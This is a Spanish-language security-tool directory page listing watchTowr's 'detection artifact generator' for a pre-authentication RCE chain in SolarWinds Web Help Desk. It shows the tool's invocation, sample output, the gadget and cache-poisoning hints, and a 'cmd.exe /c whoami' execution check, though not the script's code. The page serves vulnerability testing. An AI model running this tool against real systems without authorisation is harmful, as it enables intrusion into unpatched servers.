Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553 — Generador de artefactos de detección para la cadena RCE pre-autenticación de SolarWinds Web Help Desk (CVE-2025-40552 + CVE-2025-40553). Verifica la omisión de autenticación y la ejecución remota de código mediante la ejecución de consultas SQL. | Kitploit
Herramientas/GitHubGitHub/watchtowrlabs/watchtowr-vs-solarwinds-webhelpdesk-cve-2025-40552-cve-2025-40553
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubwatchtowrlabs/watchtowr-vs-solarwinds-webhelpdesk-cve-2025-40552-cve-2025-40553

watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Generador de artefactos de detección para la cadena RCE pre-autenticación de SolarWinds Web Help Desk (CVE-2025-40552 + CVE-2025-40553). Verifica la omisión de autenticación y la ejecución remota de código mediante la ejecución de consultas SQL.

Ver Repositorio
4hace 6 mesesAún no revisado

CVE-2025-40552 y CVE-2025-40553 Cadena RCE Pre-Auth en SolarWinds Web Help Desk

Herramienta generadora de artefactos de detección para la cadena RCE Pre-Auth en SolarWinds Web Help Desk

Descripción

Este generador de artefactos de detección verifica si una instancia de SolarWinds Web Help Desk es vulnerable a CVE-2025-40552 y CVE-2025-40553.

El generador de artefactos de detección intenta realizar dos operaciones:

  • Bypass de autenticación con CVE-2025-40552 - esta verificación es muy precisa.
  • Si tiene éxito, intenta verificar el RCE CVE-2025-40553 mediante la ejecución del comando cmd.exe /c whoami - esta verificación no es 100% precisa, ya que se basa en mensajes de error que pueden variar según el entorno.

ATENCIÓN - durante la prueba de RCE, el script creará la tabla SWWHDDAG<random_8_characters> en la base de datos postgres.

Después de la prueba, puedes verificar si la salida del comando existe en la base de datos:

root@kitploit:~
> SELECT * FROM public.swwhddagmm2t6t79

"output"
"nt authoritysystem"

Detección en Acción

Prueba contra instancia vulnerable:

root@kitploit:~
$ python3 watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py -H https://vulnerable.lab:8443
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py
        (*) CVE-2025-40552 + CVE-2025-40553 Pre-Auth RCE Chain in SolarWinds Web Help Desk - Detection Artifact Generator

          - Piotr Bazydlo (@chudyPB) of watchTowr 

        CVEs: CVE-2025-40552 and CVE-2025-40553

[+] Testing CVE-2025-40552 Authentication Bypass
        [+] Triggering error and poisoning context cache with LookAndFeelPref
[+] VULNERABLE to CVE-2025-40552 Authentication Bypass
[+] Testing CVE-2025-40553 RCE
        [+] This stage will create SWWHDDAGp08zwfs6 DB table if successful
        [+] Verifying deserialization and serialization of org.apache.commons.dbcp2.BasicDataSource
[+] PROBABLY VULNERABLE: Connection validated and SQL queries can be executed
        [+] Executing "cmd.exe /c whoami" - verify locally if it worked

Prueba contra instancia no vulnerable:

root@kitploit:~
$ python3 watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py -H https://notvulnerable.lab:8443
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            
          
        watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py
        (*) CVE-2025-40552 + CVE-2025-40553 Pre-Auth RCE Chain in SolarWinds Web Help Desk - Detection Artifact Generator

          - Piotr Bazydlo (@chudyPB) of watchTowr 

        CVEs: CVE-2025-40552 and CVE-2025-40553

[+] Testing CVE-2025-40552 Authentication Bypass
        [+] Triggering error and poisoning context cache with LookAndFeelPref
[-] NOT VULNERABLE to CVE-2025-40552, exiting

Versiones Afectadas

< SolarWinds Web Help Desk 2026.1

Referencias: https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm

Sigue a watchTowr Labs

Para las últimas investigaciones de seguridad, sigue al equipo de watchTowr Labs

  • https://labs.watchtowr.com/

  • https://x.com/watchtowrcyber

Descargar herramienta